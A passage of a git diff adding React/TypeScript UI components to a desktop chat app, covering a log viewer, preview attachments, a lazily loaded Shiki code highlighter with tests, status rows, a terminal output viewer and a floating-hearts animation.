+      <CopyButton
+        appearance="inline"
+        className="absolute right-2.5 top-1.5 z-10 h-5 gap-0 rounded-md px-1 opacity-5 transition-opacity group-hover/logs:opacity-100 hover:opacity-100 focus-visible:opacity-100"
+        iconClassName="size-3"
+        showLabel={false}
+        text={() => (lines ?? []).join('\n')}
+      />
+      <div
+        className="h-full min-h-0 overflow-y-auto [scrollbar-gutter:stable]"
+        data-selectable-text="true"
+        onScroll={event => {
+          const el = event.currentTarget
+          stickRef.current = el.scrollHeight - el.scrollTop - el.clientHeight < 24
+        }}
+        ref={scrollRef}
+      >
+        {lines === null || lines.length === 0 ? (
+          <p className="px-2 py-1.5 font-mono text-[0.7rem] leading-relaxed text-muted-foreground/50">
+            {lines === null ? '…' : emptyLabel}
+          </p>
+        ) : (
+          <CodeCardBody>
+            <pre className="whitespace-pre-wrap break-words">
+              {lines.map((line, index) => (
+                <span className={cn('block', line.startsWith('=====') && 'mt-1 text-(--ui-text-tertiary)')} key={index}>
+                  {line}
+                </span>
+              ))}
+            </pre>
+          </CodeCardBody>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/preview-attachment.tsx b/ui-desktop/src/components/chat/preview-attachment.tsx
new file mode 100644
index 000000000..177aef3ae
--- /dev/null
+++ b/ui-desktop/src/components/chat/preview-attachment.tsx
@@ -0,0 +1,115 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef, useState } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { useI18n } from '@/i18n'
+import { MonitorPlay } from '@/lib/icons'
+import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
+import { previewName } from '@/lib/preview-targets'
+import { notifyError } from '@/store/notifications'
+import { $previewTabSources, closePreviewForSource, openPreview, type PreviewRecordSource } from '@/store/preview'
+
+export function PreviewAttachment({ source = 'manual', target }: { source?: PreviewRecordSource; target: string }) {
+  const { t } = useI18n()
+  // This link lives in one session's transcript; resolve it against THAT
+  // session's cwd, not the primary chat's.
+  const cwd = useStore(useSessionView().$cwd)
+  const openSources = useStore($previewTabSources)
+  const [opening, setOpening] = useState(false)
+  const cwdRef = useRef(cwd)
+  const mountedRef = useRef(false)
+  const requestTokenRef = useRef(0)
+  const targetRef = useRef(target)
+  const name = previewName(target)
+  const isActive = openSources.includes(target)
+
+  cwdRef.current = cwd
+  targetRef.current = target
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    mountedRef.current = true
+
+    return () => {
+      mountedRef.current = false
+      requestTokenRef.current += 1
+    }
+  }, [])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    requestTokenRef.current += 1
+    setOpening(false)
+  }, [cwd, target])
+
+  async function togglePreview() {
+    if (opening) {
+      return
+    }
+
+    if (isActive) {
+      closePreviewForSource(target)
+
+      return
+    }
+
+    const requestToken = ++requestTokenRef.current
+    const requestTarget = target
+    const requestCwd = cwd
+
+    setOpening(true)
+
+    try {
+      const preview = await normalizeOrLocalPreviewTarget(requestTarget, requestCwd || undefined)
+
+      if (
+        !mountedRef.current ||
+        requestTokenRef.current !== requestToken ||
+        targetRef.current !== requestTarget ||
+        cwdRef.current !== requestCwd
+      ) {
+        return
+      }
+
+      if (!preview) {
+        throw new Error(`Could not open preview target: ${requestTarget}`)
+      }
+
+      openPreview(preview, source)
+    } catch (error) {
+      if (
+        !mountedRef.current ||
+        requestTokenRef.current !== requestToken ||
+        targetRef.current !== requestTarget ||
+        cwdRef.current !== requestCwd
+      ) {
+        return
+      }
+
+      notifyError(error, t.preview.unavailable)
+    } finally {
+      if (mountedRef.current && requestTokenRef.current === requestToken) {
+        setOpening(false)
+      }
+    }
+  }
+
+  return (
+    <div className="flex w-full max-w-160 items-center gap-2 rounded-lg border border-(--ui-stroke-tertiary) bg-card/55 px-2.5 py-1.5 text-sm">
+      <span className="grid size-6 shrink-0 place-items-center rounded-md bg-muted/55 text-muted-foreground/85">
+        <MonitorPlay className="size-3.5" />
+      </span>
+      <span className="min-w-0 flex-1 truncate text-[0.78rem] font-medium text-foreground/90" title={target}>
+        {name}
+      </span>
+      <button
+        className="shrink-0 rounded-md border border-(--ui-stroke-tertiary) bg-background/40 px-2 py-1 text-[0.7rem] font-medium text-muted-foreground transition-colors hover:bg-accent/55 hover:text-foreground disabled:opacity-50"
+        disabled={opening}
+        onClick={() => void togglePreview()}
+        type="button"
+      >
+        {opening ? t.preview.opening : isActive ? t.preview.hide : t.preview.openPreview}
+      </button>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/scaffold-row.tsx b/ui-desktop/src/components/chat/scaffold-row.tsx
new file mode 100644
index 000000000..e19283751
--- /dev/null
+++ b/ui-desktop/src/components/chat/scaffold-row.tsx
@@ -0,0 +1,45 @@
+import type { ReactNode } from 'react'
+
+import { DisclosureRow } from '@/components/chat/disclosure-row'
+
+/**
+ * Transcript scaffolding: the quiet lines around the reply that say what the
+ * agent did rather than what it said — a thinking header, a settled tool run,
+ * the live activity ticker.
+ *
+ * They all render through here so they cannot drift apart. They used to each
+ * pick their own grey — a thinking header painted `--ui-text-secondary`, a tool
+ * summary `--ui-text-tertiary`, both under the same opacity — which read as two
+ * different kinds of line for what is one kind of thing.
+ *
+ * The resting fade is the other half and lives in CSS, on the *block* that
+ * holds the row rather than on the row: mark it `data-conversation-scaffold`.
+ * A surface that skips the mark reads a shade brighter than its neighbours.
+ */
+export const SCAFFOLD_LABEL_CLASS =
+  'text-[length:var(--conversation-tool-font-size)] leading-(--conversation-line-height) text-(--conversation-scaffold-text)'
+
+/** Durations, counts and diff stats trailing a scaffold label. */
+export const SCAFFOLD_META_CLASS = 'shrink-0 text-[0.625rem] tabular-nums text-(--conversation-scaffold-meta)'
+
+/**
+ * One scaffold line. `children` is the label and whatever trails it in flow
+ * (meta, diff counts); `trailing` reserves a right-side slot for a live timer.
+ */
+export function ScaffoldRow({
+  children,
+  onToggle,
+  open = false,
+  trailing
+}: {
+  children: ReactNode
+  onToggle?: () => void
+  open?: boolean
+  trailing?: ReactNode
+}) {
+  return (
+    <DisclosureRow onToggle={onToggle} open={open} trailing={trailing}>
+      <span className="flex min-w-0 items-center gap-1.5">{children}</span>
+    </DisclosureRow>
+  )
+}
diff --git a/ui-desktop/src/components/chat/shiki-block.tsx b/ui-desktop/src/components/chat/shiki-block.tsx
new file mode 100644
index 000000000..4279d2183
--- /dev/null
+++ b/ui-desktop/src/components/chat/shiki-block.tsx
@@ -0,0 +1,15 @@
+'use client'
+
+/**
+ * The ONLY static importer of `react-shiki` (and through it the multi-MB
+ * shiki language/theme bundle). Every consumer reaches this module through
+ * `React.lazy(() => import('./shiki-block'))` — see `LazyShiki` in
+ * shiki-highlighter.tsx — so the shiki chunk stays entirely off the
+ * cold-start path and loads on the first highlighted code block instead.
+ *
+ * Do NOT import this module statically from anything the entry graph
+ * reaches, or the chunk moves back into boot.
+ */
+import ShikiHighlighter from 'react-shiki'
+
+export default ShikiHighlighter
diff --git a/ui-desktop/src/components/chat/shiki-highlighter.test.ts b/ui-desktop/src/components/chat/shiki-highlighter.test.ts
new file mode 100644
index 000000000..da97287c1
--- /dev/null
+++ b/ui-desktop/src/components/chat/shiki-highlighter.test.ts
@@ -0,0 +1,37 @@
+import { describe, expect, it } from 'vitest'
+
+import { chunkByLines, exceedsHighlightBudget } from '@/components/chat/shiki-highlighter'
+
+describe('exceedsHighlightBudget', () => {
+  it('highlights normal-sized blocks', () => {
+    expect(exceedsHighlightBudget('const x = 1\n'.repeat(100))).toBe(false)
+  })
+
+  it('skips highlighting past the line budget', () => {
+    expect(exceedsHighlightBudget('x\n'.repeat(5_000))).toBe(true)
+  })
+
+  it('skips highlighting past the char budget on few lines', () => {
+    expect(exceedsHighlightBudget('a'.repeat(200_000))).toBe(true)
+  })
+
+  it('short-circuits on char budget before line loop', () => {
+    expect(exceedsHighlightBudget('y\n'.repeat(250_000))).toBe(true)
+  })
+})
+
+describe('chunkByLines', () => {
+  it('keeps a small block as a single chunk', () => {
+    const code = 'a\nb\nc'
+    expect(chunkByLines(code, 200)).toEqual([{ text: code, lines: 3 }])
+  })
+
+  it('splits a large block and reconstructs it losslessly', () => {
+    const code = Array.from({ length: 1000 }, (_, i) => `line ${i}`).join('\n')
+    const chunks = chunkByLines(code, 200)
+
+    expect(chunks).toHaveLength(5)
+    expect(chunks.map(chunk => chunk.text).join('\n')).toBe(code)
+    expect(chunks.reduce((sum, chunk) => sum + chunk.lines, 0)).toBe(1000)
+  })
+})
diff --git a/ui-desktop/src/components/chat/shiki-highlighter.tsx b/ui-desktop/src/components/chat/shiki-highlighter.tsx
new file mode 100644
index 000000000..44fe0b996
--- /dev/null
+++ b/ui-desktop/src/components/chat/shiki-highlighter.tsx
@@ -0,0 +1,181 @@
+'use client'
+
+import type { SyntaxHighlighterProps } from '@assistant-ui/react-streamdown'
+import { type ComponentProps, type FC, lazy, Suspense, useMemo } from 'react'
+import type ShikiHighlighter from 'react-shiki'
+
+import { CodeCard, CodeCardBody } from '@/components/chat/code-card'
+import { ExpandableBlock } from '@/components/chat/expandable-block'
+import { CopyButton } from '@/components/ui/copy-button'
+import { useI18n } from '@/i18n'
+import { isLikelyProseCodeBlock } from '@/lib/markdown-code'
+
+/**
+ * Streamdown's code adapter renders header + body as inline siblings, so we
+ * own the wrapping `<CodeCard>` here and neutralize the upstream
+ * `data-streamdown="code-block"` chrome from styles.css. The card is
+ * background-only — no header row, no language label — so a fence reads as a
+ * tinted slab of the reply; copy is a hover-reveal control in the corner.
+ *
+ * `react-shiki` full bundle so all `bundledLanguages` work; theme switches
+ * follow the document `color-scheme` via `defaultColor="light-dark()"`.
+ */
+interface ClawCodexSyntaxHighlighterProps extends SyntaxHighlighterProps {
+  defer?: boolean
+}
+
+// `github-dark-dimmed` is GitHub's lower-contrast dark palette — the vivid
+// `github-dark-default` tokens read harsh at our small code size. Shared by the
+// inline diff renderer too (see diff-lines.tsx) so code + diffs match.
+export const SHIKI_THEME = { dark: 'github-dark-dimmed', light: 'github-light-default' } as const
+
+/**
+ * `github-light-default` colors comments `#6e7781` (~4.2:1 against the code
+ * card background) — borderline unreadable at our 11px code size, and worst of
+ * all for shell snippets where a single `#` turns the rest of the line into one
+ * long comment span. Remap light-mode comments to GitHub's darker muted gray
+ * (`#57606a`, ~6.4:1). Dark mode (`#8b949e`, ~6.1:1) already reads fine, so we
+ * leave it untouched. Keyed per theme name so the bump only applies in light.
+ */
+const SHIKI_COLOR_REPLACEMENTS: Record<string, Record<string, string>> = {
+  'github-light-default': { '#6e7781': '#57606a' }
+}
+
+const MAX_HIGHLIGHT_CHARS = 150_000
+const MAX_HIGHLIGHT_LINES = 3_000
+const CHUNK_LINES = 200
+const EST_LINE_PX = 16
+
+// react-shiki (and through it the multi-MB shiki grammar/theme bundle) is the
+// heaviest dependency in the renderer. `shiki-block.tsx` is its only static
+// importer, so this lazy() is the single seam that keeps shiki out of the
+// entry chunk — it loads on the first highlighted code block, not at boot.
+const ShikiBlock = lazy(() => import('./shiki-block'))
+
+/** Drop-in ShikiHighlighter that suspends on first use and renders the code
+ *  as plain preformatted text until the shiki chunk arrives. */
+export const LazyShiki: FC<ComponentProps<typeof ShikiHighlighter>> = props => (
+  <Suspense fallback={<PlainCode code={String(props.children ?? '')} />}>
+    <ShikiBlock {...props} />
+  </Suspense>
+)
+
+export function exceedsHighlightBudget(code: string): boolean {
+  if (code.length > MAX_HIGHLIGHT_CHARS) {
+    return true
+  }
+
+  let lines = 1
+  let idx = code.indexOf('\n')
+
+  while (idx !== -1) {
+    if ((lines += 1) > MAX_HIGHLIGHT_LINES) {
+      return true
+    }
+
+    idx = code.indexOf('\n', idx + 1)
+  }
+
+  return false
+}
+
+interface CodeChunk {
+  text: string
+  lines: number
+}
+
+export function chunkByLines(code: string, perChunk: number): CodeChunk[] {
+  const lines = code.split('\n')
+
+  if (lines.length <= perChunk) {
+    return [{ text: code, lines: lines.length }]
+  }
+
+  const chunks: CodeChunk[] = []
+
+  for (let i = 0; i < lines.length; i += perChunk) {
+    const slice = lines.slice(i, i + perChunk)
+    chunks.push({ text: slice.join('\n'), lines: slice.length })
+  }
+
+  return chunks
+}
+
+const PlainCode: FC<{ code: string }> = ({ code }) => {
+  const chunks = useMemo(() => chunkByLines(code, CHUNK_LINES), [code])
+
+  if (chunks.length === 1) {
+    return <code className="block whitespace-pre">{code}</code>
+  }
+
+  return (
+    <>
+      {chunks.map((chunk, index) => (
+        <code
+          className="block whitespace-pre [content-visibility:auto]"
+          key={index}
+          style={{ containIntrinsicSize: `auto ${chunk.lines * EST_LINE_PX}px` }}
+        >
+          {chunk.text}
+        </code>
+      ))}
+    </>
+  )
+}
+
+export const SyntaxHighlighter: FC<ClawCodexSyntaxHighlighterProps> = ({
+  components: { Pre },
+  language,
+  code,
+  defer = false
+}) => {
+  const { t } = useI18n()
+  const trimmed = (code ?? '').replace(/^\n+/, '').trimEnd()
+
+  // Streaming may hand us empty/incomplete fences — render nothing rather
+  // than a transient empty card.
+  if (!trimmed.trim()) {
+    return null
+  }
+
+  if (isLikelyProseCodeBlock(language, trimmed)) {
+    return <div className="aui-prose-fence whitespace-pre-wrap wrap-anywhere text-foreground">{trimmed}</div>
+  }
+
+  const plain = defer || exceedsHighlightBudget(trimmed)
+
+  return (
+    <CodeCard data-streaming={defer ? 'true' : undefined}>
+      <CopyButton
+        appearance="inline"
+        className="absolute right-1.5 top-1.5 z-10 h-5 gap-0 rounded-md px-1 opacity-0 transition-opacity group-hover/code:opacity-100 focus-visible:opacity-100"
+        iconClassName="size-2.5"
+        label={t.assistant.tool.copyCode}
+        showLabel={false}
+        text={trimmed}
+      />
+      <CodeCardBody className="[&_pre]:px-3 [&_pre]:py-2.5">
+        <ExpandableBlock>
+          <Pre className="aui-shiki m-0 overflow-hidden bg-transparent p-0">
+            {plain ? (
+              <PlainCode code={trimmed} />
+            ) : (
+              <LazyShiki
+                addDefaultStyles={false}
+                as="div"
+                colorReplacements={SHIKI_COLOR_REPLACEMENTS}
+                defaultColor="light-dark()"
+                delay={120}
+                language={language || 'text'}
+                showLanguage={false}
+                theme={SHIKI_THEME}
+              >
+                {trimmed}
+              </LazyShiki>
+            )}
+          </Pre>
+        </ExpandableBlock>
+      </CodeCardBody>
+    </CodeCard>
+  )
+}
diff --git a/ui-desktop/src/components/chat/skeletons.tsx b/ui-desktop/src/components/chat/skeletons.tsx
new file mode 100644
index 000000000..b6dcfdab3
--- /dev/null
+++ b/ui-desktop/src/components/chat/skeletons.tsx
@@ -0,0 +1,47 @@
+import type { CSSProperties } from 'react'
+
+import { Skeleton } from '@/components/ui/skeleton'
+
+// Shared loading skeletons for the file/git trees and diffs — quieter than a
+// spinner and shaped like the content that's about to land.
+
+const TREE_ROWS: { indent: number; width: string }[] = [
+  { indent: 0, width: '55%' },
+  { indent: 1, width: '72%' },
+  { indent: 1, width: '46%' },
+  { indent: 0, width: '60%' },
+  { indent: 1, width: '52%' },
+  { indent: 2, width: '40%' },
+  { indent: 0, width: '64%' }
+]
+
+/** Rows of icon + label bars, mimicking a file tree mid-load. */
+export function TreeSkeleton() {
+  return (
+    <div className="flex min-h-0 flex-1 flex-col gap-2 px-3 py-2.5" data-slot="tree-skeleton">
+      {TREE_ROWS.map((row, index) => (
+        <div
+          className="flex items-center gap-2"
+          key={`${index}-${row.width}`}
+          style={{ paddingLeft: `${row.indent * 12}px` }}
+        >
+          <Skeleton className="size-3.5 shrink-0 rounded-[3px]" />
+          <Skeleton className="h-3" style={{ width: row.width }} />
+        </div>
+      ))}
+    </div>
+  )
+}
+
+const DIFF_ROWS: string[] = ['72%', '40%', '88%', '55%', '64%', '30%', '80%', '48%', '60%', '36%', '70%']
+
+/** Stacked line bars, mimicking a unified diff mid-load. */
+export function DiffSkeleton({ style }: { style?: CSSProperties }) {
+  return (
+    <div className="flex flex-col gap-1.5 px-3 py-2" data-slot="diff-skeleton" style={style}>
+      {DIFF_ROWS.map((width, index) => (
+        <Skeleton className="h-3" key={`${index}-${width}`} style={{ width }} />
+      ))}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/stable-text.tsx b/ui-desktop/src/components/chat/stable-text.tsx
new file mode 100644
index 000000000..1e7e03815
--- /dev/null
+++ b/ui-desktop/src/components/chat/stable-text.tsx
@@ -0,0 +1,23 @@
+import { cn } from '@/lib/utils'
+
+interface StableTextProps {
+  children: string
+  className?: string
+}
+
+/**
+ * Renders text as a row of 1ch-wide cells so individual characters can't
+ * shift the layout as they change (e.g. digits in a ticking timer).
+ * Works with any proportional font — no need for font-mono.
+ */
+export function StableText({ children, className }: StableTextProps) {
+  return (
+    <span className={cn('inline-flex', className)}>
+      {children.split('').map((char, i) => (
+        <span className="inline-block w-[1ch] text-center" key={i}>
+          {char}
+        </span>
+      ))}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/chat/status-row.tsx b/ui-desktop/src/components/chat/status-row.tsx
new file mode 100644
index 000000000..316b8b061
--- /dev/null
+++ b/ui-desktop/src/components/chat/status-row.tsx
@@ -0,0 +1,79 @@
+import { type KeyboardEvent, type MouseEvent, type ReactNode, type Ref } from 'react'
+
+import { cn } from '@/lib/utils'
+
+interface StatusRowProps {
+  children: ReactNode
+  className?: string
+  /** Leading glyph slot (spinner / status dot / selection circle). */
+  leading?: ReactNode
+  /** Makes the whole row activatable (adds `cursor-pointer` + keyboard a11y).
+   *  Receives the originating event so consumers can branch on modifier keys
+   *  (e.g. ⌘/Ctrl-click). Trailing-slot buttons should `stopPropagation` so
+   *  they don't also fire it. */
+  onActivate?: (event: KeyboardEvent | MouseEvent) => void
+  /** Right-aligned actions. Revealed on row hover/focus unless `trailingVisible`. */
+  trailing?: ReactNode
+  trailingVisible?: boolean
+  /** Forwarded to the row's root — lets a wrapper (e.g. a context-menu trigger
+   *  using `asChild`) attach `ref` / `onContextMenu` to the real DOM node. */
+  ref?: Ref<HTMLDivElement>
+  onContextMenu?: (event: MouseEvent) => void
+}
+
+/**
+ * Shared row chrome for everything in the composer status stack — status items
+ * (subagents, background) AND queued prompts. Fixed height, a leading glyph
+ * slot, flexible content, and a trailing actions slot that reveals on hover.
+ * Hover background matches the session sidebar. Consumers fill the three slots;
+ * they never re-implement the row container.
+ */
+export function StatusRow({
+  children,
+  className,
+  leading,
+  onActivate,
+  onContextMenu,
+  ref,
+  trailing,
+  trailingVisible = false
+}: StatusRowProps) {
+  return (
+    <div
+      className={cn(
+        'group/status-row flex min-h-6 items-center gap-2 rounded-md px-1.5 py-1',
+        // row-hover bundles cursor:pointer — only when the row actually activates.
+        onActivate ? 'row-hover' : 'hover:bg-(--ui-row-hover-background)',
+        className
+      )}
+      onClick={onActivate}
+      onContextMenu={onContextMenu}
+      onKeyDown={
+        onActivate
+          ? event => {
+              if (event.key === 'Enter' || event.key === ' ') {
+                event.preventDefault()
+                onActivate(event)
+              }
+            }
+          : undefined
+      }
+      ref={ref}
+      role={onActivate ? 'button' : undefined}
+      tabIndex={onActivate ? 0 : undefined}
+    >
+      {leading !== undefined && <span className="flex size-3.5 shrink-0 items-center justify-center">{leading}</span>}
+      <div className="flex min-w-0 flex-1 items-center gap-2">{children}</div>
+      {trailing && (
+        <div
+          className={cn(
+            'flex shrink-0 items-center gap-0.5',
+            !trailingVisible && 'opacity-0 group-hover/status-row:opacity-100 group-focus-within/status-row:opacity-100'
+          )}
+        >
+          {trailing}
+        </div>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/status-section.tsx b/ui-desktop/src/components/chat/status-section.tsx
new file mode 100644
index 000000000..161cc6f6a
--- /dev/null
+++ b/ui-desktop/src/components/chat/status-section.tsx
@@ -0,0 +1,42 @@
+import { type ReactNode, useState } from 'react'
+
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+
+interface StatusSectionProps {
+  /** Optional right-aligned actions (text links / micro buttons). Pass
+   *  `Button` with `size="micro"` + `variant="text"` or `"link"`. */
+  accessory?: ReactNode
+  children: ReactNode
+  defaultCollapsed?: boolean
+  /** Optional glyph between the caret and the label (e.g. a `Codicon`). */
+  icon?: ReactNode
+  label: ReactNode
+}
+
+/**
+ * One collapsible group inside the composer status stack. Pure chrome — header
+ * (caret + label) + body — styled to match the queue exactly so every status
+ * (queue, subagents, background) reads as one piece. The stack supplies the
+ * outer card and the dividers between groups; this owns only its own collapse.
+ */
+export function StatusSection({ accessory, children, defaultCollapsed = true, icon, label }: StatusSectionProps) {
+  const [collapsed, setCollapsed] = useState(defaultCollapsed)
+
+  return (
+    <div>
+      <div className="flex items-center gap-1 pr-1">
+        <button
+          className="flex min-w-0 flex-1 items-center gap-1.5 px-2 py-1 text-left text-xs font-normal text-muted-foreground/92 transition-colors hover:text-foreground/90"
+          onClick={() => setCollapsed(open => !open)}
+          type="button"
+        >
+          <DisclosureCaret className="shrink-0" open={!collapsed} size="1em" />
+          {icon && <span className="flex shrink-0 items-center">{icon}</span>}
+          <span className="truncate">{label}</span>
+        </button>
+        {accessory && <div className="flex shrink-0 items-center gap-1">{accessory}</div>}
+      </div>
+      {!collapsed && <div className="px-1 pb-0.5">{children}</div>}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/syntax-diff.tsx b/ui-desktop/src/components/chat/syntax-diff.tsx
new file mode 100644
index 000000000..1aa457c44
--- /dev/null
+++ b/ui-desktop/src/components/chat/syntax-diff.tsx
@@ -0,0 +1,27 @@
+'use client'
+
+/**
+ * The Shiki-highlighted compact diff body, split out of diff-lines.tsx so the
+ * `react-shiki` static import (and the multi-MB shiki chunk behind it) loads
+ * lazily on first use instead of on the cold-start path. diff-lines.tsx
+ * reaches this through `React.lazy` with a plain `DiffBody` fallback.
+ */
+import type { ReactNode } from 'react'
+import { useMemo } from 'react'
+import { useShikiHighlighter } from 'react-shiki'
+
+import { DiffBody, type DiffLine, diffLineTransformer } from '@/components/chat/diff-lines'
+import { SHIKI_THEME } from '@/components/chat/shiki-highlighter'
+
+export default function SyntaxDiff({ language, lines }: { language: string; lines: DiffLine[] }) {
+  const code = useMemo(() => lines.map(line => line.text).join('\n'), [lines])
+  const transformers = useMemo(() => [diffLineTransformer(lines.map(line => line.kind))], [lines])
+
+  const highlighted = useShikiHighlighter(code, language, SHIKI_THEME, {
+    defaultColor: 'light-dark()',
+    transformers
+  })
+
+  // Until Shiki resolves, show the plain colored diff so there's no flash.
+  return (highlighted as ReactNode) ?? <DiffBody lines={lines} />
+}
diff --git a/ui-desktop/src/components/chat/terminal-output.tsx b/ui-desktop/src/components/chat/terminal-output.tsx
new file mode 100644
index 000000000..6b12c5b9d
--- /dev/null
+++ b/ui-desktop/src/components/chat/terminal-output.tsx
@@ -0,0 +1,61 @@
+import { useCallback, useEffect, useRef } from 'react'
+
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { cn } from '@/lib/utils'
+
+interface TerminalOutputProps {
+  className?: string
+  text: string
+}
+
+const NEAR_BOTTOM_PX = 24
+
+/**
+ * Tiny read-only terminal viewer: monospace, non-wrapping (long lines scroll
+ * horizontally), vertical scroll past `max-h`. Jumps to the bottom on mount,
+ * then tails — sticking to the bottom as `text` grows, but only when the user
+ * is already near the bottom so scrolling up to read earlier output isn't
+ * interrupted.
+ *
+ * Self-contained so any surface (status rows, tool calls, inspectors) can drop
+ * in a stdout/stderr box without re-implementing the scroll logic.
+ */
+export function TerminalOutput({ className, text }: TerminalOutputProps) {
+  const ref = useRef<HTMLDivElement>(null)
+
+  // On open: jump straight to the latest output. Rides the ResizeObserver's
+  // initial delivery (layout-clean, still before paint) instead of a layout
+  // effect — a sync scrollHeight read there forces a reflow per instance, and
+  // a tool-heavy transcript mounts dozens of these on a session switch.
+  const jumpedRef = useRef(false)
+
+  const jumpToBottom = useCallback(() => {
+    const el = ref.current
+
+    // First delivery only; later box resizes must not yank the user back
+    // down while they're scrolled up reading earlier output.
+    if (el && !jumpedRef.current) {
+      jumpedRef.current = true
+      el.scrollTop = el.scrollHeight
+    }
+  }, [])
+
+  useResizeObserver(jumpToBottom, ref)
+
+  // On growth: tail only when already pinned near the bottom.
+  useEffect(() => {
+    const el = ref.current
+
+    if (el && el.scrollHeight - el.scrollTop - el.clientHeight < NEAR_BOTTOM_PX) {
+      el.scrollTop = el.scrollHeight
+    }
+  }, [text])
+
+  return (
+    <div className={cn('max-h-16 overflow-auto overscroll-contain', className)} data-selectable-text="true" ref={ref}>
+      <pre className="w-max min-w-full font-mono text-[0.5625rem] leading-[0.85rem] whitespace-pre text-muted-foreground/70">
+        {text}
+      </pre>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/vibe-hearts.tsx b/ui-desktop/src/components/chat/vibe-hearts.tsx
new file mode 100644
index 000000000..24876184f
--- /dev/null
+++ b/ui-desktop/src/components/chat/vibe-hearts.tsx
@@ -0,0 +1,115 @@
+import { type CSSProperties } from 'react'
+
+import { createParticleEmitter, ParticleField, type ParticleFieldConfig } from '@/components/particles/particle-field'
+import { $petActive, flashPetActivity } from '@/store/pet'
+import { $petOverlayActive, forwardPetReaction } from '@/store/pet-overlay'
+
+/**
+ * TikTok-style floating hearts — a thin skin over {@link ParticleField} (pixel
+ * heart glyph + pink). Placed two ways: rising from the composer when no pet is
+ * out, or from the pet when one is. Fired by the core `reaction` event (affection
+ * in a user message) via {@link burstVibeHearts}.
+ */
+
+// Light pink reads on both light and dark chat surfaces.
+const HEART_COLORS = ['#ff9ec4'] as const
+
+/** Composer placement: hearts rise the thread height (rise = % of the tall lane). */
+export const COMPOSER_HEART_CONFIG: Partial<ParticleFieldConfig> = {
+  count: 12,
+  size: [6, 13],
+  rise: [6.75, 15.75],
+  duration: [320, 700]
+}
+
+/** Pet placement: a compact puff off the pet. The field box spans feet→head, so
+ *  rise ≥100% carries hearts from the feet to ~10-20% above the pet before fading. */
+const PET_HEART_CONFIG: Partial<ParticleFieldConfig> = {
+  count: 10,
+  spawnWindowMs: 450,
+  size: [6, 12],
+  rise: [98, 118],
+  duration: [480, 880],
+  swayAmp: [5, 14],
+  bank: [6, 14]
+}
+
+// Pixel-art heart from @nous-research/ui (14×12), crisp + `currentColor`.
+const HEART_GLYPH = (
+  <svg fill="none" shapeRendering="crispEdges" viewBox="0 0 14 12" xmlns="http://www.w3.org/2000/svg">
+    <path
+      d="M13.2 0v5.65714h-1.8857v1.88572H9.42857v1.88571H7.54286v1.88573H5.65714V9.42857H3.77143V7.54286H1.88571V5.65714H0V0h5.65714v1.88571h1.88572V0z"
+      fill="currentColor"
+    />
+  </svg>
+)
+
+const emitter = createParticleEmitter()
+
+/** Play hearts in THIS window (whichever HeartField is mounted). The overlay
+ *  window calls this directly off the mirrored vibe signal. */
+export const playVibeHearts = (count?: number) => emitter.burst(count)
+
+/**
+ * Fire a vibe burst (from the core `reaction` event). Routes to where the
+ * affection should land:
+ *  - pet popped out  → forward to the overlay window + celebrate (mirrored)
+ *  - pet in-window   → play here (on the pet) + celebrate
+ *  - no pet          → play here (composer)
+ */
+export const burstVibeHearts = (count?: number) => {
+  const overlay = $petOverlayActive.get()
+
+  if (overlay || $petActive.get()) {
+    flashPetActivity({ celebrate: true })
+  }
+
+  if (overlay) {
+    forwardPetReaction('vibe')
+  } else {
+    playVibeHearts(count)
+  }
+}
+
+export interface HeartFieldProps {
+  config?: Partial<ParticleFieldConfig>
+  className?: string
+  style?: CSSProperties
+}
+
+/** Heart-skinned particle field. Caller supplies placement + a config preset. */
+export function HeartField({ config, className, style }: HeartFieldProps) {
+  return (
+    <ParticleField
+      className={className}
+      colors={HEART_COLORS}
+      config={config}
+      emitter={emitter}
+      glyph={HEART_GLYPH}
+      style={style}
+    />
+  )
+}
+
+/**
+ * Pet-anchored hearts, feet→~10-20% above. One place owns the geometry so the
+ * in-window pet and the popped-out overlay stay identical. `petW`/`petH` are the
+ * rendered sprite dimensions (frame × scale).
+ */
+export function PetHeartField({ petW, petH }: { petW: number; petH: number }) {
+  return (
+    <HeartField
+      config={PET_HEART_CONFIG}
+      style={{
+        bottom: 0,
+        height: Math.max(96, petH),
+        left: '50%',
+        pointerEvents: 'none',
+        position: 'absolute',
+        transform: 'translateX(-50%)',
+        width: Math.max(90, petW * 1.5),
+        zIndex: 2
+      }}
+    />
+  )
+}
diff --git a/ui-desktop/src/components/chat/widget-shell.ts b/ui-desktop/src/components/chat/widget-shell.ts
new file mode 100644
index 000000000..eea81bca5
--- /dev/null
+++ b/ui-desktop/src/components/chat/widget-shell.ts
@@ -0,0 +1,12 @@
+/**
+ * Inline transcript widgets — the few tool results that render as a panel the
+ * user reads or acts on (a clarify question, an artifact card) rather than as
+ * a scaffold line.
+ *
+ * They share one shell so they cannot drift apart. They used to each pick their
+ * own: clarify sat on a 2px radius over the chat backdrop's own color (a card
+ * you could only see by its hairline), the artifact card on a hardcoded 10px
+ * over nothing. One radius one rung above the composer, one mode-derived fill,
+ * no border — the surface reads as a surface on the fill alone.
+ */
+export const WIDGET_SHELL_CLASS = 'rounded-3xl bg-(--ui-widget-surface-background) px-3.5 py-3'
diff --git a/ui-desktop/src/components/chat/zoomable-image.tsx b/ui-desktop/src/components/chat/zoomable-image.tsx
new file mode 100644
index 000000000..e11ad3cb6
--- /dev/null
+++ b/ui-desktop/src/components/chat/zoomable-image.tsx
@@ -0,0 +1,134 @@
+'use client'
+
+import { type ComponentProps, useState } from 'react'
+
+import { Dialog, DialogContent } from '@/components/ui/dialog'
+import { useImageDownload } from '@/hooks/use-image-download'
+import { useI18n } from '@/i18n'
+import { Download } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
